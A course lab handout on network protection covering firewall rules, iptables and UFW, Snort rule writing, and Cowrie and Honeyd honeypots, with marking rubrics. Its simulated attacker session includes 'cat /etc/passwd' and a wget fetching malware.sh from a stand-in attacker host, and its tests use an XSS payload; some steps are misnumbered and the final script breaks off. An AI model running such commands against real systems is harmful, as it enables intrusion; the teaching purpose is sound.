

Week 11: Network Protection Systems

Lab Activities & Assignment with Rubrics

CCS6324 - Ethical Hacking & Penetration Testing (Trimester 2530)

OVERVIEW

This week's lab focuses on hands-on configuration, analysis, and testing of network protection systems. Students will progress from basic firewall configuration to advanced IDS/IPS rule writing and honeypot deployment. **Total marks: 4% of the course grade (100 marks).**

LAB ACTIVITY 1: FIREWALL CONFIGURATION & PACKET FILTERING

Duration: 30 min | **Marks:** 10

OBJECTIVES

- Configure Windows Defender Firewall rules
- Understand stateless vs stateful filtering
- Apply firewall rules to specific applications
- Analyze traffic with Windows netsh commands

PREREQUISITES

- Windows 10/11 VM with admin access
- Basic understanding of TCP/IP protocols

STEP-BY-STEP INSTRUCTIONS

Part A: Windows Defender Firewall Configuration (15 min)

Step 1: Open Windows Defender Firewall

1. Press `Win+R`, type `wf.msc`, press Enter

2. Alternatively: Settings → Privacy & Security → Firewall & Network Protection
3. Click “Allow an app through firewall” on the left panel

Step 2: View Current Rules

1. Observe which applications have inbound/outbound rules
2. Take a screenshot showing the current allowed apps
3. Open Windows Defender Firewall with Advanced Security (wf.msc)
4. Examine Inbound Rules, Outbound Rules, and Connection Security Rules tabs

Step 3: Create Custom Inbound Rule (Allow Specific Port)

Goal: Allow HTTP traffic (port 80) only from the specific network 192.168.1.0/24

Steps:

1. In Advanced Security window, right-click “Inbound Rules” → “New Rule”
2. Rule Type: Select “Port”
3. Protocol and Ports:
 - Select “TCP”
 - Specific local ports: 80
1. Action: Select “Allow”
2. Profile: Check “Domain”, “Private”, “Public”
3. Name: `Allow HTTP from Internal Network`
4. Click “Finish”

Step 4: Modify Rule to Restrict Source Address

1. Find the rule you just created in Inbound Rules
2. Double-click to edit
3. Go to “Scope” tab
4. Remote IP address: Select “These IP addresses”
5. Click “Add” → Enter `192.168.1.0/24`
6. Click OK
7. Take a screenshot showing the configured scope

Step 5: Create Outbound Rule (Block Specific Application)

Goal: Block notepad.exe from accessing the network

Steps:

1. Right-click “Outbound Rules” → “New Rule”
2. Rule Type: “Program”

3. Program path: Browse to C:\Windows\System32\notepad.exe
4. Action: "Block"
5. Profile: All checked
6. Name: Block Notepad Network Access
7. Click Finish
8. Test by opening Notepad and attempting network access (You will not be able to open any file via File > Open > Network (Shared Drive)), no further action required.

Step 6: Document Rules via Command Line

Open PowerShell as Administrator and run:

```
# List all firewall rules
Get-NetFirewallRule | Format-Table DisplayName, Enabled, Direction

# Export rules to text file
Get-NetFirewallRule -Enabled True | Export-Csv -Path "C:\firewall_rules.csv"

# View detailed rule information
Get-NetFirewallRule -DisplayName "Allow HTTP from Internal Network" | Get-NetFirewallRuleAssociation
```

Take a screenshot of the output showing your custom rules.

Part B: Command-Line Firewall Configuration (15 min)

Step 7: Using netsh Commands

Open Command Prompt as Administrator:

```
# View firewall profile status
netsh advfirewall show allprofiles

# Add rule via netsh
netsh advfirewall firewall add rule name="Allow SSH" dir=in action=allow
protocol=TCP localport=22 remoteip=192.168.1.0/24

# Delete rule
netsh advfirewall firewall delete rule name="Allow SSH"

# Enable/Disable Windows Firewall
netsh advfirewall set allprofiles state on
netsh advfirewall set domainprofile state off

# Export current configuration
netsh advfirewall export "C:\firewall_backup.wfw"
```

Execute each command and document the output at the end.

Step 8: Create Firewall Rule Script

Create a file `firewall_rules.bat` with the following rules:

```
@echo off
REM Add multiple rules for web application access

netsh advfirewall firewall add rule name="Allow HTTP" dir=in action=allow
protocol=TCP localport=80
netsh advfirewall firewall add rule name="Allow HTTPS" dir=in action=allow
protocol=TCP localport=443
netsh advfirewall firewall add rule name="Deny Telnet" dir=in action=block
protocol=TCP localport=23
netsh advfirewall firewall add rule name="Allow DNS" dir=in action=allow
protocol=UDP localport=53

echo Firewall rules configured successfully
pause
```

Save and execute the script (run as Administrator).

DELIVERABLES

1. **Screenshot 1:** Windows Defender Firewall showing a custom inbound rule with scope
2. **Screenshot 2:** PowerShell output showing configured rules
3. **Screenshot 3:** netsh command output for firewall status
4. **Screenshot 4:** Firewall_rules.bat script execution
5. **Document (500 words):** Explain the difference between your inbound and outbound rules, why source IP restrictions are important, and how a firewall misconfiguration could be exploited

ASSESSMENT RUBRIC (Lab 1: 10 marks)

Criteria	Excellent (9-10)	Good (7-8)	Satisfactory (5-6)	Needs Improvement (0-4)
Rule Creation	Multiple custom rules created with correct syntax; scope properly configured	Rules created with mostly correct configuration; minor scope issues	Basic rules created; scope not properly configured	Rules missing or incorrect; no scope configuration
Documentation	All commands documented with clear explanation;	Most commands documented;	Basic documentation provided;	Minimal or missing documentation

Criteria	Excellent (9-10)	Good (7-8)	Satisfactory (5-6)	Needs Improvement (0-4)
Command Line Usage	screenshots properly labeled	minor labeling issues	inconsistent screenshots	
	Proficient use of netsh and PowerShell; advanced concepts demonstrated	Correct netsh commands; basic PowerShell usage	Basic command line usage with some errors	Commands incomplete or incorrect
Analysis Document	Comprehensive analysis of firewall concepts; clear exploitation examples	Good analysis; adequate exploitation examples	Basic analysis; limited examples	Minimal analysis; no examples
Overall Execution	Clean execution; no errors; complete deliverables	Mostly clean execution; minor errors; complete deliverables	Some execution issues; mostly complete	Incomplete or problematic execution

LAB ACTIVITY 2: LINUX FIREWALL WITH IPTABLES & UFW

Duration: 1 hour | **Marks:** 10

OBJECTIVES

- Configure Linux iptables rules from scratch
- Understand netfilter hooks and packet flow
- Deploy UFW for simplified firewall management
- Test and validate firewall rules

PREREQUISITES

- Kali Linux VM (Ubuntu 20.04 or later) with sudo access
- Terminal familiarity
- Basic IP networking knowledge

STEP-BY-STEP INSTRUCTIONS

Part A: iptables Configuration (30 min)

`iptables` is a powerful command-line utility that configures the Linux kernel's built-in Netfilter firewall, allowing administrators to create rules for filtering, modifying, and blocking network traffic (packets) entering or leaving the system, essential for network security and penetration testing. It uses tables, chains (like INPUT, OUTPUT), and rules to define actions (ACCEPT, DROP) for packets, controlling what traffic is permitted or denied.

Step 1: Check Current iptables Rules

Open a terminal and run:

```
# View current rules (may be empty)
sudo iptables -L -n -v

# Display rules with line numbers
sudo iptables -L -n -v --line-numbers

# Check if iptables service is active
sudo systemctl status iptables 2>/dev/null || echo "iptables may not have a
service, rules are in-memory"
```

Take a screenshot. Explain what you observe in one paragraph.

Step 2: Understand Basic iptables Syntax

```
sudo iptables -[A/I/D] [CHAIN] [CRITERIA] -j [ACTION]

-A = Append (add to end)
-I = Insert (add to beginning)
-D = Delete
-L = List
CHAIN = INPUT, OUTPUT, FORWARD
CRITERIA = -p (protocol), -s (source), -d (destination), --dport (destination
port), --sport (source port)
-j = Jump (action): ACCEPT, DROP, REJECT
```

Step 3: Set Default Policies

```
# Set default policy to DROP (deny by default - more secure)
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P FORWARD DROP
```

```
# Verify
sudo iptables -L -n
```

Step 4: Create Firewall Rules

Add rules one by one, verifying after each:

```
# Allow loopback traffic (local processes)
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT

# Allow established/related connections (stateful)
sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT

# Allow SSH (port 22) - DO THIS FIRST to avoid lockout!
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP (port 80)
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

# Allow HTTPS (port 443)
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Allow DNS (port 53 UDP)
sudo iptables -A INPUT -p udp --dport 53 -j ACCEPT

# Verify all rules
sudo iptables -L -n -v
```

Step 5: Block Specific Source

```
# Block traffic from specific IP (simulated attacker)
sudo iptables -I INPUT -s 192.168.1.100 -j DROP

# Verify rule was inserted at top
sudo iptables -L -n --line-numbers
```

Step 6: Log Dropped Packets

```
# Add rule to log dropped packets
sudo iptables -N LOGGING
sudo iptables -A INPUT -j LOGGING
sudo iptables -A LOGGING -m limit --limit 5/min -j LOG --log-prefix "iptables
DROP: " --log-level 7

# Check logs
sudo tail -20 /var/log/syslog | grep "iptables DROP"
```

Step 7: Save Rules Persistently

Rules are lost on reboot. Save them:

```
# Install persistence tool
sudo apt-get update && sudo apt-get install -y iptables-persistent

# During installation, save current IPv4 and IPv6 rules

# If already installed, manually save:
sudo sh -c 'iptables-save > /etc/iptables/rules.v4'
sudo sh -c 'ip6tables-save > /etc/iptables/rules.v6'

# Verify saved
cat /etc/iptables/rules.v4
```

Take a screenshot of your saved rules file.

Part B: UFW Configuration (30 min)

UFW (Uncomplicated Firewall) is a user-friendly command-line tool that simplifies managing iptables, the underlying Linux firewall, making it easy to control network access by allowing or denying traffic to specific ports and services, crucial for securing your system by default blocking unwanted connections and opening only necessary ones.

Step 8: Install and Enable UFW

```
# Install UFW
sudo apt-get install -y ufw

# Check status
sudo ufw status

# Enable UFW (WARNING: might disconnect SSH if not configured)
sudo ufw enable
```

Step 9: UFW Basic Rules

```
# Allow SSH (do this first!)
sudo ufw allow 22/tcp

# Allow HTTP and HTTPS
sudo ufw allow 80/tcp
sudo ufw allow 443/tcp

# Allow specific IP to access SSH
sudo ufw allow from 192.168.1.50 to any port 22

# Deny specific service
sudo ufw deny 23/tcp

# Check rules with numbering
sudo ufw status numbered

# Delete rule by number
sudo ufw delete 3
```


Step 10: UFW Rate Limiting

Protect against brute-force attacks:

```
# Rate limit SSH to 6 connections per 30 seconds
sudo ufw limit 22/tcp

# Verify
sudo ufw status numbered
```

Step 11: UFW Logging

```
# Enable logging
sudo ufw logging on

# Set logging level (low, medium, high, full)
sudo ufw logging medium

# View logs
sudo tail -30 /var/log/ufw.log
```

Take a screenshot showing UFW logs.

Step 12: UFW Profile Configuration

```
# Disable all incoming, allow all outgoing
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw default deny routed

# View current defaults
sudo ufw status verbose
```

Part C: Testing and Validation

Step 13: Test Rules from Another Machine

If you have a second VM or use Kali Linux:

```
# On attacker machine
nmap -p 22,80,443,23 <target_ip>

# On target, watch logs
sudo tail -f /var/log/ufw.log

# Test specific port
nc -zv <target_ip> 80
```

Document results with screenshots.

Step 14: Firewall Rule Analysis Document

Create a text file analyzing your configuration:

FIREWALL ANALYSIS:

1. Default Policy Rationale:
 - INPUT: Why DROP instead of ACCEPT?
 - OUTPUT: Why ACCEPT?
 - FORWARD: Why DROP?
2. Rule Ordering:
 - Why is the SSH rule second (after loopback)?
 - How does rule order affect performance?
3. Stateful Inspection:
 - What does "ESTABLISHED,RELATED" mean?
 - Why is this important for web traffic?
4. Security Improvements:
 - What rules could be added for the web server?
 - How would you implement rate limiting for HTTP?

DELIVERABLES

1. **Screenshot 1:** Initial iptables rules (empty/default state)
2. **Screenshot 2:** Configured iptables rules with line numbers
3. **Screenshot 3:** iptables-persistent saved rules file
4. **Screenshot 4:** UFW status and numbered rules
5. **Screenshot 5:** UFW logging output
6. **Screenshot 6:** nmap scan results showing blocked/open ports (if tested)
7. **Document (500 words):** Firewall analysis document addressing security decisions and rule design

ASSESSMENT RUBRIC (Lab 2: 10 marks)

Criteria	Excellent (9-10)	Good (7-8)	Satisfactory (5-6)	Needs Improvement (0-4)
iptables Rules	Correct default policies; proper rule ordering; stateful rules implemented	Mostly correct rules; minor policy issues; basic stateful rules	Basic rules with errors; incomplete default policies	Incorrect or missing rules; no stateful inspection
Rule Persistence	iptables-persistent correctly configured;	Persistent configuration attempted;	Basic persistence; incomplete	No persistence; rules lost on

Criteria	Excellent (9-10)	Good (7-8)	Satisfactory (5-6)	Needs Improvement (0-4)
	rules survive reboot	minor issues	configuration	reboot
UFW Configuration	Efficient UFW rules; proper rate limiting; advanced features used	Correct UFW rules; basic rate limiting	Simple UFW rules; incomplete rate limiting	Incomplete or incorrect UFW setup
Testing & Validation	Comprehensive testing; clear results; proper log analysis	Adequate testing; good log examination	Basic testing; incomplete log review	Minimal testing; no log analysis
Analysis Document	Insightful security analysis; clear policy justification; advanced concepts	Good analysis; adequate justification	Basic analysis; limited justification	Minimal analysis; poor justification
Overall Execution	Clean execution; SSH maintained throughout; no connectivity loss	Mostly clean; minor issues; SSH maintained	Some issues; occasional connectivity problems	Problematic; potential lockout issues

LAB ACTIVITY 3: SNORT IDS CONFIGURATION & RULE WRITING

Duration: 2 hours | **Marks:** 10

OBJECTIVES

- Install and configure Snort IDS
- Write custom Snort detection rules
- Generate test traffic and trigger alerts
- Analyze alert logs and understand rule syntax

PREREQUISITES

- Kali Linux or Ubuntu 20.04+ VM with ~2GB RAM
- Root or sudo access
- Network interface with promiscuous mode support

STEP-BY-STEP INSTRUCTIONS

Part A: Snort Installation & Configuration (45 min)

Snort is an open-source Network Intrusion Detection/Prevention System (IDS/IPS) that analyzes network traffic in real-time, using custom rules to identify and alert on malicious activities like scans, probes, buffer overflows, and CGI attacks, acting as a packet sniffer, logger, or full-fledged threat detector to enhance network security by spotting and blocking threats.

Step 1: Update System and Install Dependencies

```
# Update package manager
sudo apt-get update && sudo apt-get upgrade -y

# Install required packages
sudo apt-get install -y \
    build-essential \
    libpcap3 libpcap3-dev \
    libdumbnet-dev \
    libdaq-dev \
    libdaq-static \
    zlib1g-dev

# For Snort 3 (modern), you need newer dependencies
sudo apt-get install -y cmake libssl-dev
```

Take a screenshot showing a successful installation.

Step 2: Download and Install Snort

```
# Create snort working directory
mkdir -p ~/snort_sources && cd ~/snort_sources

# Download Snort (check for latest version at snort.org)
# Using Snort 2.9.x for stability (Snort 3 requires different config)
wget https://www.snort.org/downloads/snort/snort-2.9.20.tar.gz

# Extract
tar -xvzf snort-2.9.20.tar.gz
cd snort-2.9.20

# Configure
./configure --prefix=/usr/local/snort --enable-sourcefire

# Compile and install
make && sudo make install
```

```
# Verify installation
/usr/local/snort/bin/snort -V
```

Document the Snort version output in a screenshot.

Step 3: Create Snort Configuration Directory

```
# Create snort config directories
sudo mkdir -p /etc/snort
sudo mkdir -p /var/log/snort
sudo mkdir -p /usr/local/snort/rules

# Create basic snort.conf
sudo cp ~/snort_sources/snort-2.9.20/etc/snort.conf /etc/snort/
sudo cp ~/snort_sources/snort-2.9.20/etc/classification.config /etc/snort/
sudo cp ~/snort_sources/snort-2.9.20/etc/reference.config /etc/snort/

# Set permissions
sudo chown -R snort:snort /etc/snort /var/log/snort

# Create snort user if not exists
sudo useradd -m snort 2>/dev/null || true
```

Step 4: Basic Snort Configuration

Edit /etc/snort/snort.conf:

```
sudo nano /etc/snort/snort.conf
```

Key sections to modify:

```
# Around line 45: Set network variables
var HOME_NET [192.168.1.0/24,10.0.0.0/8]
var EXTERNAL_NET !$HOME_NET
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
var HTTP_SERVERS $HOME_NET

# Around line 100: Set rules directory
var RULE_PATH /usr/local/snort/rules
var PREPROC_RULE_PATH /usr/local/snort/preproc_rules

# Leave default preprocessors enabled
```

Step 5: Create Custom Rule File

```
# Create custom rules file
sudo nano /usr/local/snort/rules/local.rules
```

Add these basic rules:

```
# Rule 1: Detect HTTP traffic
alert tcp any any -> any 80 (msg:"HTTP traffic detected"; sid:1000001;
classtype:misc-traffic; rev:1;)

# Rule 2: Detect potential SQL Injection
alert tcp any any -> any 80 (msg:"SQL Injection attempt"; content:"union";
content:"select"; classtype:attempted-admin; sid:1000002; rev:1;)

# Rule 3: Detect SSH connection
alert tcp any any -> any 22 (msg:"SSH connection attempt"; sid:1000003;
classtype:misc-traffic; rev:1;)

# Rule 4: Detect Telnet (should be blocked)
alert tcp any any -> any 23 (msg:"TELNET connection - potential security
risk"; sid:1000004; classtype:non-standard-protocol; rev:1;)

# Rule 5: Detect port scan pattern (SYN packets to multiple ports)
alert tcp any any -> any any (msg:"Possible port scan"; flags:S;
flow:stateless; threshold:type both,track by_src,count 10,seconds 60;
sid:1000005; rev:1;)
```

Part B: Snort Testing & Rule Writing (1 hour)

Step 6: Test Snort Installation

```
# Run Snort in sniffer mode (displays packets to console)
sudo /usr/local/snort/bin/snort -v

# Stop with Ctrl+C after seeing some packets
```

Take screenshot showing packet capture output.

Step 7: Run Snort in Alert Mode

```
# First, find your network interface
ip addr show

# Run Snort with custom rules (assuming eth0, replace if needed)
sudo /usr/local/snort/bin/snort -i eth0 \
  -c /etc/snort/snort.conf \
  -l /var/log/snort \
  -A console \
  -D

# Check if it's running
sudo ps aux | grep snort
```

Step 8: Generate Test Traffic

Open another terminal and generate traffic that will trigger rules:

```
# Test 1: HTTP traffic (triggers rule 1)
curl http://example.com
```

```
# Test 2: SSH connection attempt (triggers rule 3)
nc -zv example.com 22 2>&1
```

```
# Test 3: DNS query (generates network traffic)
nslookup google.com
```

```
# Wait 30 seconds for Snort to log
sleep 30
```

Step 9: Analyze Snort Alerts

```
# View alert log
sudo tail -50 /var/log/snort/alert

# Convert binary log to human-readable format (if using binary output)
sudo /usr/local/snort/bin/snort -r /var/log/snort/snort.log.* -A console

# Check unified output
sudo tail -100 /var/log/snort/snort.alert.*
```

Take screenshot showing detected alerts.

Step 10: Write Advanced Rules

Add these sophisticated rules to `/usr/local/snort/rules/local.rules`:

```
# Rule 6: Detect potential XSS attempt
alert http any any -> any any (
  msg:"XSS Attempt - Script Tag in URL";
  flow:to_server,established;
  content:"GET";
  content:"script";
  http_uri;
  classtype:web-application-attack;
  sid:1000006;
  rev:1;
)

# Rule 7: Detect excessive HTTP GET requests (potential DDoS)
alert tcp any any -> any 80 (
  msg:"HTTP Flood Attack Detected";
  flow:to_server,established;
  content:"GET";
  threshold:type both, track by_src, count 50, seconds 10;
  classtype:web-application-attack;
  sid:1000007;
  rev:1;
)

# Rule 8: Detect FTP traffic on non-standard port
alert tcp any any -> any !21 (
  msg:"FTP Traffic on Non-Standard Port";
  content:"USER";
```

```

        content:"PASS";
        classtype:suspicious-traffic;
        sid:1000008;
        rev:1;
    )

# Rule 9: Detect DNS query for suspicious domains (blacklist)
alert dns any any -> any any (
    msg:"DNS Query for Known Malicious Domain";
    dns_query;
    content:".bit"; nocase;
    classtype:attempted-recon;
    sid:1000009;
    rev:1;
)

# Rule 10: Detect ICMP Echo (ping) - useful for detecting reconnaissance
alert icmp any any -> any any (
    msg:"ICMP Echo Request - Reconnaissance Attempt";
    itype:8;
    classtype:attempted-recon;
    sid:1000010;
    rev:1;
)

```

Restart Snort to apply new rules:

```

# Stop Snort
sudo killall -f /usr/local/snort/bin/snort

# Start with new rules
sudo /usr/local/snort/bin/snort -i eth0 \
    -c /etc/snort/snort.conf \
    -l /var/log/snort \
    -A fast \
    -D

```

Step 11: Test Advanced Rules

Generate traffic to trigger the new rules:

```

# Test XSS detection (if target is vulnerable)
curl "http://target.com/?search=<script>alert('xss')</script>"

# Test ICMP/ping
ping -c 5 8.8.8.8

# Test multiple HTTP requests (DDoS-like)
for i in {1..60}; do curl -s http://example.com > /dev/null; done

# Wait and check logs
sleep 10
sudo tail -50 /var/log/snort/alert

```


Step 12: Analyze Rule Effectiveness

Create analysis document:

SNORT RULE ANALYSIS:

Rule 1000001 (HTTP Traffic):

- Matches: How many legitimate HTTP connections?
- False Positives: Yes/No - explain
- Usefulness: Is this rule necessary?

Rule 1000007 (HTTP Flood):

- Threshold: Why 50 requests in 10 seconds?
- Better threshold: What would you use in production?
- Evasion: How could an attacker evade this?

Rule 1000010 (ICMP):

- Why detect ICMP?
- Legitimate uses: List them
- Should this alert or block?

Rule Quality Assessment:

- Most useful rule: Why?
- Least useful rule: Why?
- Rules to add: What else should be detected?

Part C: Rule Optimization (15 minutes)

Step 13: Disable Noisy Rules

Some default Snort rules generate excessive alerts. Create a disabled rules file:

```
# Create file to disable specific rules
sudo nano /etc/snort/disable_rules.conf
```

Content:

```
# Comment out rules that generate too many false positives
# sid:1000003 # SSH detection
# sid:1000004 # Telnet detection
```

Step 14: Capture and Export Logs

```
# Backup Snort configuration
cp -r /etc/snort ~/snort_config_backup

# Archive logs
tar -czf ~/snort_logs_week11.tar.gz /var/log/snort/

# Extract sample alerts
sudo grep "HTTP" /var/log/snort/alert > ~/http_alerts.txt
sudo grep "SQL" /var/log/snort/alert > ~/sqli_alerts.txt
```

DELIVERABLES

1. **Screenshot 1:** Snort version output
2. **Screenshot 2:** Packet capture in sniffer mode
3. **Screenshot 3:** Snort alert output showing detected traffic
4. **Screenshot 4:** Advanced rule alerts (XSS, DDoS, etc.)
5. **Rule File:** local.rules with all 10 custom rules
6. **Analysis Document (500 words):** Rule effectiveness, false positive assessment, and optimization recommendations
7. **Test Results:** Log file showing detected alerts (at least 5 different rule matches)

ASSESSMENT RUBRIC (Lab 3: 10 marks)

Criteria	Excellent (9-10)	Good (7-8)	Satisfactory (5-6)	Needs Improvement (0-4)
Installation	Clean Snort installation; proper configuration; dependencies correct	Successful installation; minor config issues	Installation with workarounds; basic config	Failed or incomplete installation
Rule Writing	10+ correct, diverse rules; proper syntax; advanced concepts	8-10 rules; mostly correct syntax; good variety	5-7 rules; syntax errors present; limited variety	Fewer than 5 rules; major syntax errors
Testing	Comprehensive testing; multiple traffic types; clear results	Good testing; 3-4 traffic types; results documented	Basic testing; 2 traffic types; partial documentation	Minimal testing; results unclear
Alert Analysis	Detailed analysis; identifies false positives; optimization suggestions	Good analysis; recognizes most false positives	Basic analysis; identifies some false positives	Minimal analysis; doesn't assess false positives
Documentation	Clear rule explanations;	Adequate explanations;	Basic explanations;	Minimal explanations;

Criteria	Excellent (9-10)	Good (7-8)	Satisfactory (5-6)	Needs Improvement (0-4)
	detailed test results; insightful analysis	good test documentation	adequate documentation	incomplete documentation
Overall Execution	Professional Snort setup; rules capture real threats; excellent logs	Good setup; rules detect target traffic; good logs	Functional setup; basic detections; adequate logs	Problematic setup; limited detections; poor logs

LAB ACTIVITY 4: HONEYPOT DEPLOYMENT & ANALYSIS

Duration: 2 hours | **Marks:** 10

OBJECTIVES

- Deploy low-interaction honeypot (Honeyd or Cowrie)
- Simulate vulnerable services to attract attackers
- Capture attacker activity and tools
- Analyze honeypot logs for threat intelligence

PREREQUISITES

- Kali Linux or Ubuntu VM for honeypot deployment
- Second Ubuntu/Kali VM for attacking (or use the same network)
- Python 3.6+ (for Cowrie)
- Root/sudo access

STEP-BY-STEP INSTRUCTIONS

Part A: Cowrie SSH Honeypot Deployment (1 hour)

Cowrie is a medium to high interaction honeypot that emulates an SSH server, logs all connection attempts, and captures attacker commands, and Telnet service to detect, attract, and analyze malicious activities. It is a cybersecurity tool designed to log brute

force attacks and the detailed shell interactions performed by attackers, providing valuable threat intelligence.

Step 1: Install Cowrie

```
# Create honeypot directory
mkdir -p ~/honeypots && cd ~/honeypots

# Install dependencies
sudo apt-get install -y \
    python3 python3-dev python3-pip \
    git openssh-server \
    libffi-dev libssl-dev

# Clone Cowrie repository
git clone https://github.com/cowrie/cowrie.git
cd cowrie

# Create Python virtual environment
python3 -m venv cowrie-env
source cowrie-env/bin/activate

# Install requirements
pip install -r requirements.txt

# Upgrade pip
pip install --upgrade pip
```

Take screenshot showing successful Cowrie installation.

Step 2: Configure Cowrie

```
# Copy default configuration
cd ~/honeypots/cowrie
cp etc/cowrie.conf.dist etc/cowrie.conf

# Edit configuration
nano etc/cowrie.conf
```

Key configuration changes:

```
# Section: [honeypot]
# Set hostname that honeypot reports
hostname = production-server

# Section: [ssh]
# Port to listen on (use 2222 to avoid conflict with real SSH on 22)
port = 2222
# Or use port 22 if running as root and disabling real SSH

# Section: [output_file]
# Enable file logging
logfile = var/log/cowrie/cowrie.log
```

Step 3: Start Cowrie

```
# From cowrie directory with activated virtual environment
cd ~/honeypots/cowrie

# Run Cowrie
python3 bin/cowrie start

# Check if running
ps aux | grep cowrie

# Monitor logs in real-time (in another terminal)
tail -f var/log/cowrie/cowrie.log
```

Take screenshot showing Cowrie running.

Step 4: Create Attack Simulation

From another machine (or use localhost if testing on same machine):

```
# If honeypot is on 192.168.1.100:2222
ssh -p 2222 root@192.168.1.100

# Or use localhost if on same machine
ssh -p 2222 root@localhost

# Try common credentials
# Username: root, admin, oracle, postgres
# Password: 123456, password, admin, root

# Once "connected" to honeypot, the attacker might run commands:
ls -la
whoami
cat /etc/passwd
wget http://attacker.com/malware.sh
cd /tmp
```

Step 5: Analyze Honeypot Logs

```
# View honeypot activity
cat ~/honeypots/cowrie/var/log/cowrie/cowrie.log | head -100

# Extract login attempts
grep "login" ~/honeypots/cowrie/var/log/cowrie/cowrie.log

# Extract commands executed by attackers
grep "Command" ~/honeypots/cowrie/var/log/cowrie/cowrie.log

# Check for file uploads/downloads
grep -E "SFTP|SCP|download" ~/honeypots/cowrie/var/log/cowrie/cowrie.log

# Count unique IP addresses that connected
grep "New connection" ~/honeypots/cowrie/var/log/cowrie/cowrie.log | awk
'{print $NF}' | sort | uniq -c
```

Take screenshot showing honeypot activity logs.

Step 6: Examine Captured Files

```
# Cowrie captures attempted malware uploads/downloads
ls -la ~/honeypots/cowrie/var/lib/cowrie/downloads/

# View captured attempts
file ~/honeypots/cowrie/var/lib/cowrie/downloads/*

# Check tty logs (attacker command logs)
ls -la ~/honeypots/cowrie/var/lib/cowrie/tty/
head -50 ~/honeypots/cowrie/var/lib/cowrie/tty/*
```

Step 7: JSON Log Analysis

Cowrie also creates JSON-format logs for better analysis:

```
# View JSON logs
tail -20 ~/honeypots/cowrie/var/log/cowrie/cowrie.json

# Parse JSON with jq (install if needed: sudo apt-get install jq)
jq '.' ~/honeypots/cowrie/var/log/cowrie/cowrie.json | head -100

# Extract login attempts in JSON
jq 'select(.eventid=="cowrie.login.success" or
.eventid=="cowrie.login.failed")'
~/honeypots/cowrie/var/log/cowrie/cowrie.json
```

Part B: Honeyd - Low-Interaction Honeypot (45 minutes)

Honeyd simulates multiple services and operating systems with minimal resources.

Step 8: Install Honeyd

```
# Install dependencies
sudo apt-get install -y \
    libdnet \
    libpcap-dev \
    libwavelet-dev \
    autoconf \
    automake

# Download Honeyd (or use package manager)
sudo apt-get install -y honeyd

# Verify installation
honeyd -v
```

Step 9: Configure Honeyd

Create configuration file:

```
# Create Honeyd config directory
mkdir -p ~/honeypots/honeyd
cd ~/honeypots/honeyd
```

```
# Create configuration
nano honeyd.conf
```

Content:

```
# Honeyd Configuration File

# Create template for generic server
create generic
set generic default tcp action block
set generic default udp action block
set generic default icmp action open

# Add services to generic server
add generic tcp port 22 "in.telnetd"
add generic tcp port 80 "/usr/share/honeyd/scripts/iis-6.0"
add generic tcp port 443 "/usr/share/honeyd/scripts/apache"
add generic tcp port 3306 "/usr/share/honeyd/scripts/mysql"
add generic udp port 53 "/usr/share/honeyd/scripts/dns"

# Bind template to IP addresses
# (Use unused IPs on your network)
bind 192.168.1.50 generic
bind 192.168.1.51 generic
bind 192.168.1.52 generic

# Set up ARP response
route start 192.168.1.50 255.255.255.255 192.168.1.1 1

# Enable logging
set generic personality "Microsoft Windows XP SP2"
```

Step 10: Run Honeyd

```
# Test configuration first
sudo honeyd -d -p /tmp/honeyd.pcap -f ~/honeypots/honeyd/honeyd.conf -l /tmp/honeyd.log

# Monitor logs
tail -f /tmp/honeyd.log
```

Step 11: Attack the Honeypot

From another machine, scan and attack:

```
# Scan honeypot IPs
nmap -p 22,80,443,3306 192.168.1.50-52

# Attempt to connect
nc -nv 192.168.1.50 22
```

```
nc -nv 192.168.1.50 80

# HTTP request
curl http://192.168.1.50
```

Part C: Threat Intelligence Analysis (15 minutes)

Step 12: Create Threat Intelligence Report

Analyze captured logs and create report:

```
# Create analysis document
cat > ~/honeypot_threat_report.txt << 'EOF'
HONEYPOT THREAT INTELLIGENCE REPORT
Date: [Today's Date]
Period: [Lab Duration]

1. ATTACKER SUMMARY
  Total Unique Attackers: [Count from logs]
  Geographic Distribution: [If available from IP geolocation]
  Attack Success Rate: [Successful logins / attempts]

2. ATTACK PATTERNS
  Most Targeted Port: [port number]
  Most Attempted Username: [username]
  Most Attempted Password: [password]

3. ATTACKER TOOLS & MALWARE
  Attempted Downloads: [List tools/payloads]
  Command Execution Patterns: [Common commands]

4. TACTICAL INTELLIGENCE (TTPs)
  Initial Access: [How attackers got in]
  Lateral Movement: [Observed movements]
  Persistence: [Methods used]
  C&C Communication: [Observed domains/IPs]

5. RECOMMENDATIONS
  - Recommendations for real network protection
  - Rules to add to firewall/IDS
  - Security awareness training topics

EOF
cat ~/honeypot_threat_report.txt
```

Step 13: Automated Log Analysis

Create Python script for log analysis:

```
# Create analysis script
cat > ~/analyze_honeypot.py << 'EOF'
#!/usr/bin/env python3
import json
import sys
```



```

from collections import Counter
from datetime import datetime

log_file = sys.argv[1] if len(sys.argv) > 1 else
'/home/user/honeypots/cowrie/var/log/cowrie/cowrie.json'

logins = []
commands = []
ips = []

try:
    with open(log_file, 'r') as f:
        for line in f:
            try:
                log = json.loads(line)

                # Track login attempts
                if log.get('eventid') in ['cowrie.login.success',
'cowrie.login.failed']:
                    logins.append({
                        'username': log.get('username'),
                        'password': log.get('password'),
                        'success': 'success' in log.get('eventid')
                    })

                # Track executed commands
                if log.get('eventid') == 'cowrie.command.input':
                    commands.append(log.get('input'))

                # Track source IPs
                if 'src_ip' in log:
                    ips.append(log['src_ip'])

            except json.JSONDecodeError:
                pass
except FileNotFoundError:
    print(f"Log file not found: {log_file}")
    sys.exit(1)

print("=== HONEYPOT ANALYSIS REPORT ===\n")

print(f"Total Login Attempts: {len(logins)}")
successful = sum(1 for l in logins if l['success'])
print(f"Successful Logins: {successful}")
print(f"Failed Logins: {len(logins) - successful}\n")

print("Top Usernames:")
for username, count in Counter([l['username'] for l in
logins]).most_common(5):
    print(f"    {username}: {count}")

print("\nTop Passwords:")
for password, count in Counter([l['password'] for l in
logins]).most_common(5):
    print(f"    {password}: {count}")

print("\nTop Executed Commands:")

```

```

for cmd, count in Counter(commands).most_common(10):
    print(f"  {cmd}: {count}")

